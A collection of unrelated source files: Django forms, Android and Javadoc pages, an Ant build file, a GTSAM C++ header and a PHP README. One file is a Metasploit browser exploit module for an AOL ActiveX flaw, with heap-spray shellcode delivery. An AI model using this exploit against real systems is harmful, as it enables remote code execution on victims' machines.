    Rotation,
)

class Rotation(forms.ModelForm):
    class Meta:
        model = Rotation
        fields = ('angle',)
        labels = {
            'angle': _('Angle (θ)'),
        }

class AverageForm(forms.ModelForm):
    class Meta:
        model = Average
        fields = ('width', 'height',)
        labels = {
            'width': 'Kernel Width',
            'height': 'Kernel Height',
        }

class ScaleForm(forms.ModelForm):
    class Meta:
        model = Scale
        fields = ('width', 'height',)
        labels = {
            'width': _('Width'),
            'height': _('Height'),
        }

class MedianBlurForm(forms.ModelForm):
    class Meta:
        model = MedianBlur
        fields = ('coeff',)
        labels = {
            'coeff': 'Coefficient',
        }

class GaussianBlurForm(forms.ModelForm):
    class Meta:
        model = GaussianBlur
        fields = ('coeff',)
        labels = {
            'coeff': _('Coefficient'),
        }

class TranslationForm(forms.ModelForm):
    class Meta:
        model = Translation
        fields = ('xoffset', 'yoffset',)
        labels = {
            'xoffset': _('X Offset'),
            'yoffset': _('Y Offset'),
        }

class UploadImageForm(forms.Form):
    image_file = forms.FileField(label='Select Image')


text:
<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="app_name">ColorfulDemo</string>
</resources>


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<title>ve.ucv.ciens.icaro.libnxtarcontrol</title>
<meta name="date" content="2015-02-05">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">

JavaScript is disabled on your browser.

Package

Class

Tree

Deprecated

Index

Help

Prev Package

Next Package

Frames

No Frames

All Classes

Package ve.ucv.ciens.icaro.libnxtarcontrol

This package contains a wrapper library and reference implementation of the NxtAR
 robot control protocol for the LejOS operating system.

See: Description

Interface Summary

Interface
Description

UserActionListener

An object to be notified when an user action has been received in a protocol message.

Class Summary

Class
Description

DecodedControlAction

An immutable and pure data class that represents an action decoded from a protocol
 data message.

NxtARControlProtocol

A wrapper around the NxtAR robot control protocol for the LejOS operating system.

Enum Summary

Enum
Description

DecodedControlAction.Action

All recognized actions.

DecodedControlAction.Motor

All motor ports and possible combinations without repetitions.

Package ve.ucv.ciens.icaro.libnxtarcontrol Description

This package contains a wrapper library and reference implementation of the NxtAR
 robot control protocol for the LejOS operating system.

The protocol is based on 2 byte long data messages that encode a set of motor ports, actions
 on those motors and the speed of the motors. The first byte encodes a set actions and motors, while the
 second byte contains an integer number representing the speed to set to the enabled motors. The first
 byte's bits encode the following data (from least significant to most significant bit):

Motor port A enabled.

Motor port B enabled.

Motor port C enabled.

Direction of movement. 0 for backward movement, 1 for forward movement.

Request to return the enabled motors to their initial positions.

Customizable user action 1.

Customizable user action 2.

Customizable user action 3.

This bits are decoded using the binary masks defined in NxtARControlProtocol.
 This mechanism allows to set the state or execute an action on multiple motors simultaneously. The user actions are
 executed using callback objects registered with the aforementioned class.

The NxtARControlProtocol class includes methods to
 read, decode and execute a protocol message, independently of how those messages are generated. An example
 would be messages read from a Bluetooth or USB stream, as well as messages generated by the application
 that is using the library.

Package

Class

Tree

Deprecated

Index

Help

Prev Package

Next Package

Frames

No Frames

All Classes


text:
<?xml version="1.0" ?>

<project
 basedir="."
 default="run"
 name="Thinking in Java, 4th Edition by Bruce Eckel (chapter: exceptions)">

  <description>
    build.xml for the source code for the exceptions chapter of
    Thinking in Java, 4th Edition by Bruce Eckel
    Source code available at http://www.MindView.net
    See copyright notice in CopyRight.txt

    Ant available from: http://jakarta.apache.org/ant

    To see options, type: ant -p

    This file was automatically generated by AntBuilder
  </description>

  <condition property="version1.5">
    <equals arg1="1.6" arg2="${ant.java.version}"/>
  </condition>

  <target name="net_mindview_util">
    <javac
     classpath="${basedir}/.."
     srcdir="${basedir}/../net/mindview/util/">
      <compilerarg value="-Xmaxerrs"/>
      <compilerarg value="10"/>
    </javac>
  </target>

  <target
   depends="net_mindview_util"
   description="Build all classes in this directory"
   name="build">
    <fail message="J2SE5 required" unless="version1.5"/>
    <echo message="Building 'exceptions'"/>
    <javac
     classpath="${basedir}/.."
     debug="true"
     srcdir="${basedir}">
      <compilerarg value="-Xmaxerrs"/>
      <compilerarg value="10"/>
    </javac>
    <echo message="Build 'exceptions' succeeded"/>
  </target>

  <target name="AlwaysFinally">
    <java
     classname="AlwaysFinally"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="Cleanup">
    <java
     classname="Cleanup"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="CleanupIdiom">
    <java
     classname="CleanupIdiom"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="DynamicFields">
    <java
     classname="DynamicFields"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="ExceptionMethods">
    <java
     classname="ExceptionMethods"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="ExceptionSilencer">
    <java
     classname="ExceptionSilencer"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="ExtraFeatures">
    <java
     classname="ExtraFeatures"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="FinallyWorks">
    <java
     classname="FinallyWorks"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="FullConstructors">
    <java
     classname="FullConstructors"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="Human">
    <java
     classname="Human"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="InheritingExceptions">
    <java
     classname="InheritingExceptions"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="LoggingExceptions">
    <java
     classname="LoggingExceptions"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="LoggingExceptions2">
    <java
     classname="LoggingExceptions2"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="LostMessage">
    <java
     classname="LostMessage"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="MainException">
    <java
     classname="MainException"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="MultipleReturns">
    <java
     classname="MultipleReturns"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="NeverCaught">
    <java
     classname="NeverCaught"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="false"
     fork="true"/>
    <echo message="* Exception was expected *"/>
  </target>

  <target name="OnOffSwitch">
    <java
     classname="OnOffSwitch"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="Rethrowing">
    <java
     classname="Rethrowing"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="RethrowNew">
    <java
     classname="RethrowNew"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="StormyInning">
    <java
     classname="StormyInning"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="TurnOffChecking">
    <java
     classname="TurnOffChecking"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="WhoCalled">
    <java
     classname="WhoCalled"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target name="WithFinally">
    <java
     classname="WithFinally"
     classpath="${java.class.path};${basedir};${basedir}/.."
     dir="../exceptions/"
     failonerror="true"
     fork="true"/>
  </target>

  <target
   depends="build"
   description="Compile and run"
   name="run">
    <touch file="failures"/>
    <antcall target="AlwaysFinally"/>
    <antcall target="Cleanup"/>
    <antcall target="CleanupIdiom"/>
    <antcall target="DynamicFields"/>
    <antcall target="ExceptionMethods"/>
    <antcall target="ExceptionSilencer"/>
    <antcall target="ExtraFeatures"/>
    <antcall target="FinallyWorks"/>
    <antcall target="FullConstructors"/>
    <antcall target="Human"/>
    <antcall target="InheritingExceptions"/>
    <antcall target="LoggingExceptions"/>
    <antcall target="LoggingExceptions2"/>
    <antcall target="LostMessage"/>
    <antcall target="MainException"/>
    <antcall target="MultipleReturns"/>
    <antcall target="NeverCaught"/>
    <antcall target="OnOffSwitch"/>
    <antcall target="Rethrowing"/>
    <antcall target="RethrowNew"/>
    <antcall target="StormyInning"/>
    <antcall target="TurnOffChecking"/>
    <antcall target="WhoCalled"/>
    <antcall target="WithFinally"/>
    <delete file="failures"/>
  </target>

  <target description="delete all byproducts" name="clean">
    <delete>
      <fileset dir="${basedir}" includes="**/*.class"/>
      <fileset dir="${basedir}" includes="**/*Output.txt"/>
      <fileset dir="${basedir}" includes="**/log.txt"/>
      <fileset dir="${basedir}" includes="failures"/>
    </delete>
    <echo message="clean successful"/>
  </target>

</project>


text:
/**
 * @file    VectorValues.h
 * @brief   Factor Graph Values
 * @author  Richard Roberts
 */

#pragma once

#include <gtsam/base/Vector.h>
#include <gtsam/global_includes.h>

#include <boost/format.hpp>
#include <boost/lexical_cast.hpp>
#include <boost/foreach.hpp>
#include <boost/shared_ptr.hpp>
#include <numeric>
#include <stdexcept>

namespace gtsam {

  // Forward declarations
  class Permutation;

  /**
   * This class represents a collection of vector-valued variables associated
   * each with a unique integer index.  It is typically used to store the variables
   * of a GaussianFactorGraph.  Optimizing a GaussianFactorGraph or GaussianBayesNet
   * returns this class.
   *
   * For basic usage, such as receiving a linear solution from gtsam solving functions,
   * or creating this class in unit tests and examples where speed is not important,
   * you can use a simple interface:
   *  - The default constructor VectorValues() to create this class
   *  - insert(Index, const Vector&) to add vector variables
   *  - operator[](Index) for read and write access to stored variables
   *  - \ref exists (Index) to check if a variable is present
   *  - Other facilities like iterators, size(), dim(), etc.
   *
   * Indices can be non-consecutive and inserted out-of-order, but you should not
   * use indices that are larger than a reasonable array size because the indices
   * correspond to positions in an internal array.
   *
   * Example:
   * \code
     VectorValues values;
     values.insert(3, Vector_(3, 1.0, 2.0, 3.0));
     values.insert(4, Vector_(2, 4.0, 5.0));
     values.insert(0, Vector_(4, 6.0, 7.0, 8.0, 9.0));

     // Prints [ 3.0 4.0 ]
     gtsam::print(values[1]);

     // Prints [ 8.0 9.0 ]
     values[1] = Vector_(2, 8.0, 9.0);
     gtsam::print(values[1]);
     \endcode
   *
   *
Advanced Interface and Performance Information

   *
   * Internally, all vector values are stored as part of one large vector.  In
   * gtsam this vector is always pre-allocated for efficiency, using the
   * advanced interface described below.  Accessing and modifying already-allocated
   * values is \f$ O(1) \f$.  Using the insert() function of the standard interface
   * is slow because it requires re-allocating the internal vector.
   *
   * For advanced usage, or where speed is important:
   *  - Allocate space ahead of time using a pre-allocating constructor
   *    (\ref AdvancedConstructors "Advanced Constructors"), Zero(),
   *    SameStructure(), resize(), or append().  Do not use
   *    insert(Index, const Vector&), which always has to re-allocate the
   *    internal vector.
   *  - The vector() function permits access to the underlying Vector, for
   *    doing mathematical or other operations that require all values.
   *  - operator[]() returns a SubVector view of the underlying Vector,
   *    without copying any data.
   *
   * Access is through the variable index j, and returns a SubVector,
   * which is a view on the underlying data structure.
   *
   * This class is additionally used in gradient descent and dog leg to store the gradient.
   * \nosubgrouping
   */
  class GTSAM_EXPORT VectorValues {
  protected:
    typedef std::vector<Vector> Values; ///< Typedef for the collection of Vectors making up a VectorValues
    Values values_; ///< Collection of Vectors making up this VectorValues

  public:
    typedef Values::iterator iterator; ///< Iterator over vector values
    typedef Values::const_iterator const_iterator; ///< Const iterator over vector values
    typedef Values::reverse_iterator reverse_iterator; ///< Reverse iterator over vector values
    typedef Values::const_reverse_iterator const_reverse_iterator; ///< Const reverse iterator over vector values
    typedef boost::shared_ptr<VectorValues> shared_ptr; ///< shared_ptr to this class

    /// @name Standard Constructors
    /// @{

    /**
     * Default constructor creates an empty VectorValues.
     */
    VectorValues() {}

    /** Named constructor to create a VectorValues of the same structure of the
     * specified one, but filled with zeros.
     * @return
     */
    static VectorValues Zero(const VectorValues& model);

    /// @}
    /// @name Standard Interface
    /// @{

    /** Number of variables stored, always 1 more than the highest variable index,
     * even if some variables with lower indices are not present. */
    Index size() const { return values_.size(); }

    /** Return the dimension of variable \c j. */
    size_t dim(Index j) const { checkExists(j); return (*this)[j].rows(); }

    /** Return the dimension of each vector in this container */
    std::vector<size_t> dims() const;

    /** Check whether a variable with index \c j exists. */
    bool exists(Index j) const { return j < size() && values_[j].rows() > 0; }

    /** Read/write access to the vector value with index \c j, throws std::out_of_range if \c j does not exist, identical to operator[](Index). */
    Vector& at(Index j) { checkExists(j); return values_[j]; }

    /** Access the vector value with index \c j (const version), throws std::out_of_range if \c j does not exist, identical to operator[](Index). */
    const Vector& at(Index j) const { checkExists(j); return values_[j]; }

    /** Read/write access to the vector value with index \c j, throws std::out_of_range if \c j does not exist, identical to at(Index). */
    Vector& operator[](Index j) { return at(j); }

    /** Access the vector value with index \c j (const version), throws std::out_of_range if \c j does not exist, identical to at(Index). */
    const Vector& operator[](Index j) const { return at(j); }

    /** Insert a vector \c value with index \c j.
     * Causes reallocation, but can insert values in any order.
     * Throws an invalid_argument exception if the index \c j is already used.
     * @param value The vector to be inserted.
     * @param j The index with which the value will be associated.
     */
    void insert(Index j, const Vector& value);

    iterator begin()                      { return values_.begin(); }  ///< Iterator over variables
    const_iterator begin() const          { return values_.begin(); }  ///< Iterator over variables
    iterator end()                         { return values_.end(); }    ///< Iterator over variables
    const_iterator end() const            { return values_.end(); }    ///< Iterator over variables
    reverse_iterator rbegin()              { return values_.rbegin(); } ///< Reverse iterator over variables
    const_reverse_iterator rbegin() const { return values_.rbegin(); } ///< Reverse iterator over variables
    reverse_iterator rend()                { return values_.rend(); }   ///< Reverse iterator over variables
    const_reverse_iterator rend() const   { return values_.rend(); }   ///< Reverse iterator over variables

    /** print required by Testable for unit testing */
    void print(const std::string& str = "VectorValues: ",
        const IndexFormatter& formatter = DefaultIndexFormatter) const;

    /** equals required by Testable for unit testing */
    bool equals(const VectorValues& x, double tol = 1e-9) const;

    /// @{
    /// \anchor AdvancedConstructors
    /// @name Advanced Constructors
    /// @}

    /** Construct from a container of variable dimensions (in variable order), without initializing any values. */
    template<class CONTAINER>
    explicit VectorValues(const CONTAINER& dimensions) { this->append(dimensions); }

    /** Construct from a container of variable dimensions (in variable order), with initial values. */
    template<class CONTAINER>
    explicit VectorValues(const Vector& d, const CONTAINER& dimensions) {
      this->append(d, dimensions);
    }

    /** Construct to hold nVars vectors of varDim dimension each. */
    VectorValues(Index nVars, size_t varDim) { this->resize(nVars, varDim); }

    /** Named constructor to create a VectorValues that matches the structure of
     * the specified VectorValues, but do not initialize the new values. */
    static VectorValues SameStructure(const VectorValues& other);

    /** Named constructor to create a VectorValues from a container of variable
     * dimensions that is filled with zeros.
     * @param dimensions A container of the dimension of each variable to create.
     */
    template<class CONTAINER>
    static VectorValues Zero(const CONTAINER& dimensions);

    /** Named constructor to create a VectorValues filled with zeros that has
     * \c nVars variables, each of dimension \c varDim
     * @param nVars The number of variables to create
     * @param varDim The dimension of each variable
     * @return The new VectorValues
     */
    static VectorValues Zero(Index nVars, size_t varDim);

    /// @}
    /// @name Advanced Interface
    /// @{

    /** Resize this VectorValues to have identical structure to other, leaving
     * this VectorValues with uninitialized values.
     * @param other The VectorValues whose structure to copy
     */
    void resizeLike(const VectorValues& other);

    /** Resize the VectorValues to hold \c nVars variables, each of dimension
     * \c varDim.  Any individual vectors that do not change size will keep
     * their values, but any new or resized vectors will be uninitialized.
     * @param nVars The number of variables to create
     * @param varDim The dimension of each variable
     */
    void resize(Index nVars, size_t varDim);

    /** Resize the VectorValues to contain variables of the dimensions stored
     * in \c dimensions.  Any individual vectors that do not change size will keep
     * their values, but any new or resized vectors will be uninitialized.
     * @param dimensions A container of the dimension of each variable to create.
     */
    template<class CONTAINER>
    void resize(const CONTAINER& dimensions);

    /** Append to the VectorValues to additionally contain variables of the
     * dimensions stored in \c dimensions.  The new variables are uninitialized,
     * but this function is used to pre-allocate space for performance.  This
     * function preserves the original data, so all previously-existing variables
     * are left unchanged.
     * @param dimensions A container of the dimension of each variable to create.
     */
    template<class CONTAINER>
    void append(const CONTAINER& dimensions);

    /** Append to the VectorValues to additionally contain variables of the
     * dimensions stored in \c dimensions.  Initial values for the new variables
     * are extracted from the input vector, holding values for all components
     * in the same order specified in the dimensions container.
     * This function preserves the original data, so all previously-existing
     * variables are left unchanged.
     * @param d          A vector holding values for all variables, which order
     *                   specified in the below container
     * @param dimensions A container of the dimension of each variable to create.
     */
    template<class CONTAINER>
    void append(const Vector& d, const CONTAINER& dimensions);

    /** Removes the last subvector from the VectorValues */
    void pop_back() { values_.pop_back(); };

    /** Set all entries to zero, does not modify the size. */
    void setZero();

    /** Retrieve the entire solution as a single vector */
    const Vector asVector() const;

    /** Access a vector that is a subset of relevant indices */
    const Vector vector(const std::vector<Index>& indices) const;

    /** Check whether this VectorValues has the same structure, meaning has the
     * same number of variables and that all variables are of the same dimension,
     * as another VectorValues
     * @param other The other VectorValues with which to compare structure
     * @return \c true if the structure is the same, \c false if not.
     */
    bool hasSameStructure(const VectorValues& other) const;

    /**
     * Permute the variables in the VariableIndex according to the given partial permutation
     */
    void permuteInPlace(const Permutation& selector, const Permutation& permutation);

    /**
     * Permute the entries of this VectorValues in place
     */
    void permuteInPlace(const Permutation& permutation);

    /**
     * Swap the data in this VectorValues with another.
     */
    void swap(VectorValues& other);

    /// @}
    /// @name Linear algebra operations
    /// @{

    /** Dot product with another VectorValues, interpreting both as vectors of
     * their concatenated values. */
    double dot(const VectorValues& v) const;

    /** Vector L2 norm */
    double norm() const;

    /** Squared vector L2 norm */
    double squaredNorm() const;

    /**
     * + operator does element-wise addition.  Both VectorValues must have the
     * same structure (checked when NDEBUG is not defined).
     */
    VectorValues operator+(const VectorValues& c) const;

    /**
     * + operator does element-wise subtraction.  Both VectorValues must have the
     * same structure (checked when NDEBUG is not defined).
     */
    VectorValues operator-(const VectorValues& c) const;

    /**
     * += operator does element-wise addition.  Both VectorValues must have the
     * same structure (checked when NDEBUG is not defined).
     */
    void operator+=(const VectorValues& c);

    /// @}

    /// @}
    /// @name Matlab syntactic sugar for linear algebra operations
    /// @{

    inline VectorValues add(const VectorValues& c) const { return *this + c; }
    inline VectorValues scale(const double a, const VectorValues& c) const { return a * (*this); }

    /// @}

  private:
    // Throw an exception if j does not exist
    void checkExists(Index j) const {
      if(!exists(j)) {
        const std::string msg =
            (boost::format("VectorValues: requested variable index j=%1% is not in this VectorValues.") % j).str();
        throw std::out_of_range(msg);
      }
    }

  public:

    /**
     * scale a vector by a scalar
     */
    friend VectorValues operator*(const double a, const VectorValues &v) {
      VectorValues result = VectorValues::SameStructure(v);
      for(Index j = 0; j < v.size(); ++j)
        result.values_[j] = a * v.values_[j];
      return result;
    }

    /// TODO: linear algebra interface seems to have been added for SPCG.
    friend void scal(double alpha, VectorValues& x) {
      for(Index j = 0; j < x.size(); ++j)
        x.values_[j] *= alpha;
    }
    /// TODO: linear algebra interface seems to have been added for SPCG.
    friend void axpy(double alpha, const VectorValues& x, VectorValues& y) {
      if(x.size() != y.size())
        throw std::invalid_argument("axpy(VectorValues) called with different vector sizes");
      for(Index j = 0; j < x.size(); ++j)
        if(x.values_[j].size() == y.values_[j].size())
          y.values_[j] += alpha * x.values_[j];
        else
          throw std::invalid_argument("axpy(VectorValues) called with different vector sizes");
    }
    /// TODO: linear algebra interface seems to have been added for SPCG.
    friend void sqrt(VectorValues &x) {
      for(Index j = 0; j < x.size(); ++j)
        x.values_[j] = x.values_[j].cwiseSqrt();
    }

    /// TODO: linear algebra interface seems to have been added for SPCG.
    friend void ediv(const VectorValues& numerator, const VectorValues& denominator, VectorValues &result) {
      if(numerator.size() != denominator.size() || numerator.size() != result.size())
        throw std::invalid_argument("ediv(VectorValues) called with different vector sizes");
      for(Index j = 0; j < numerator.size(); ++j)
        if(numerator.values_[j].size() == denominator.values_[j].size() && numerator.values_[j].size() == result.values_[j].size())
          result.values_[j] = numerator.values_[j].cwiseQuotient(denominator.values_[j]);
        else
          throw std::invalid_argument("ediv(VectorValues) called with different vector sizes");
    }

    /// TODO: linear algebra interface seems to have been added for SPCG.
    friend void edivInPlace(VectorValues& x, const VectorValues& y) {
      if(x.size() != y.size())
        throw std::invalid_argument("edivInPlace(VectorValues) called with different vector sizes");
      for(Index j = 0; j < x.size(); ++j)
        if(x.values_[j].size() == y.values_[j].size())
          x.values_[j].array() /= y.values_[j].array();
        else
          throw std::invalid_argument("edivInPlace(VectorValues) called with different vector sizes");
    }

  private:
    /** Serialization function */
    friend class boost::serialization::access;
    template<class ARCHIVE>
    void serialize(ARCHIVE & ar, const unsigned int version) {
      ar & BOOST_SERIALIZATION_NVP(values_);
    }
  }; // VectorValues definition

  // Implementations of template and inline functions

  /* ************************************************************************* */
  template<class CONTAINER>
  void VectorValues::resize(const CONTAINER& dimensions) {
    values_.clear();
    append(dimensions);
  }

  /* ************************************************************************* */
  template<class CONTAINER>
  void VectorValues::append(const CONTAINER& dimensions) {
    size_t i = size();
    values_.resize(size() + dimensions.size());
    BOOST_FOREACH(size_t dim, dimensions) {
      values_[i] = Vector(dim);
      ++ i;
    }
  }

  /* ************************************************************************* */
  template<class CONTAINER>
  void VectorValues::append(const Vector& d, const CONTAINER& dimensions) {
    size_t i = size();
    size_t idx = 0;
    values_.resize(size() + dimensions.size());
    BOOST_FOREACH(size_t dim, dimensions) {
      values_[i] = sub(d, idx, idx+dim);
      ++ i;
      idx += dim;
    }
  }

  /* ************************************************************************* */
  template<class CONTAINER>
  VectorValues VectorValues::Zero(const CONTAINER& dimensions) {
    VectorValues ret;
    ret.values_.resize(dimensions.size());
    size_t i = 0;
    BOOST_FOREACH(size_t dim, dimensions) {
      ret.values_[i] = Vector::Zero(dim);
      ++ i;
    }
    return ret;
  }

  namespace internal {
    /* ************************************************************************* */
    // Helper function, extracts vectors with variable indices
    // in the first and last iterators, and concatenates them in that order into the
    // output.
    template<typename ITERATOR>
    const Vector extractVectorValuesSlices(const VectorValues& values, ITERATOR first, ITERATOR last, bool allowNonexistant = false) {
      // Find total dimensionality
      size_t dim = 0;
      for(ITERATOR j = first; j != last; ++j)
        // If allowNonexistant is true, skip nonexistent indices (otherwise dim will throw an error on nonexistent)
        if(!allowNonexistant || values.exists(*j))
          dim += values.dim(*j);

      // Copy vectors
      Vector ret(dim);
      size_t varStart = 0;
      for(ITERATOR j = first; j != last; ++j) {
        // If allowNonexistant is true, skip nonexistent indices (otherwise dim will throw an error on nonexistent)
        if(!allowNonexistant || values.exists(*j)) {
          ret.segment(varStart, values.dim(*j)) = values[*j];
          varStart += values.dim(*j);
        }
      }
      return ret;
    }

    /* ************************************************************************* */
    // Helper function, writes to the variables in values
    // with indices iterated over by first and last, interpreting vector as the
    // concatenated vectors to write.
    template<class VECTOR, typename ITERATOR>
    void writeVectorValuesSlices(const VECTOR& vector, VectorValues& values, ITERATOR first, ITERATOR last) {
      // Copy vectors
      size_t varStart = 0;
      for(ITERATOR j = first; j != last; ++j) {
        values[*j] = vector.segment(varStart, values[*j].rows());
        varStart += values[*j].rows();
      }
      assert(varStart == vector.rows());
    }
  }

} // \namespace gtsam


text:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "[INCOMPLETE] American Online (AOL) SuperBuddy ActiveX LinkSBIcons() Remote Code Execution",
			'Description'    => %q{
				User-controlled pointer in LinkSBIcons() as as argument, enough said.
				This module has not been tested at all, because the vulnerable version of AOL
				hasn't been found.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision$",
			'Author'         =>
				[
					'Cody Pierce',  #Initial discovery
					'sinn3r',       #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2006-5820' ],
					[ 'OSVDB', '34318' ],
					[ 'BID', '23224' ],
					[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/23224.msf' ]
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3', { 'Rop' => false,  'Offset' => '0x5F4' } ],
					[ 'IE 7 on Windows XP SP3', { 'Rop' => false,  'Offset' => '0x5F4' } ],
					#[ 'IE 8 on Windows XP SP3', { 'Rop' => true,   'Offset' => '0x5f4' } ],
					[ 'IE 7 on Windows Vista',  { 'Rop' => false,  'Offset' => '0x5f4' } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Dec 8 2006",
			'DefaultTarget'  => 0))
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP2/SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		#elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
		#	return targets[3]  #IE 8 on Windows XP SP3
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[4]  #IE 7 on Windows Vista
		else
			return nil
		end
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
			send_not_found(cli)
			return
		end

		js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

		# The heap spraying routine
		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();

		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}
		JS

		spray = heaplib(spray, {:noobfu => true})

		# 0c0c0c0c = 202116108
		html = <<-EOS
		<html>
		<head>
		<script>
		#{spray}
		</script>
		</head>
		<body>
		<object id="aol" classid="clsid:189504B8-50D1-4AA8-B4D6-95C8F58A6414" width="0" height="0"></object>
		<script>
		aol.LinkSBIcons(0x0c0c0c0c);
		</script>
		</body>
		</html>
		EOS

		print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
end

=begin
C:\Program Files\AOL 9.0\sb.dll
new ActiveXObject("Sb.SuperBuddy.1")

The vulnerability is confirmed in AOL 9.0 Revision 4156.910. Other versions may also be affected.
Also, according to ZDI, the software is automatically patched when the user logs on to AOL

WAOL_0.4327.134.zip  <--- not vulnerable
WAOL_0.4156.910.zip  <--- vulnerable. But good luck finding this one.

https://secunia.com/advisories/24714/3/
http://www.securityfocus.com/archive/1/archive/1/464313/100/0/threaded
http://www.symantec.com/business/security_response/writeup.jsp?docid=2007-011917-1403-99
http://jsunpack.jeek.org/dec/go?report=38c888e7ad2030b21c5fd240b12c5b2a8dc8015e

http://dev.metasploit.com/redmine/issues/5459
=end


text:
This is a library for creating the structure of the JSON for PHP.

```php
use JBuilder\Common\Encoder;

echo Encoder::encode(function($json) use ($comments) {
    $json->title = "This is a pen";
    $json->created_at = (new \DateTime())->format(\DateTime::ISO8601);
    $json->updated_at = (new \DateTime())->format(\DateTime::ISO8601);

    $json->author(function($json) {
        $json->name  = "Dai Akatsuka";
        $json->email = "d.akatsuka@gmail.com";
        $json->url   = "https://github.com/dakatsuka";
    });

    $json->comments($comments, function($json, $comment) {
        $json->content    = $comment->getContent();
        $json->created_at = $comment->getCreatedAt();
    });
});
```

This will build the following structure:

```json
{
  "title": "This is a pen",
  "created_at": "2013-05-21T16:49:37+0900",
  "updated_at": "2013-05-21T16:49:37+0900",

  "author": {
    "name": "Dai Akatsuka",
    "email": "d.akatsuka@gmail.com",
    "url": "https://github.com/dakatsuka"
  },

  "comments": [
    {
      "content": "Hello! Great!",
      "created_at": "2013-05-21T16:49:37+0900"
    },
    {
      "content": "Hello! Great!",
      "created_at": "2013-05-21T16:49:37+0900"
    }
  ]
}
```

## Installation

Add this lines to your composer.json:

```json
{
    "require": {
        "jbuilder/common": "dev-master"
    }
}
```

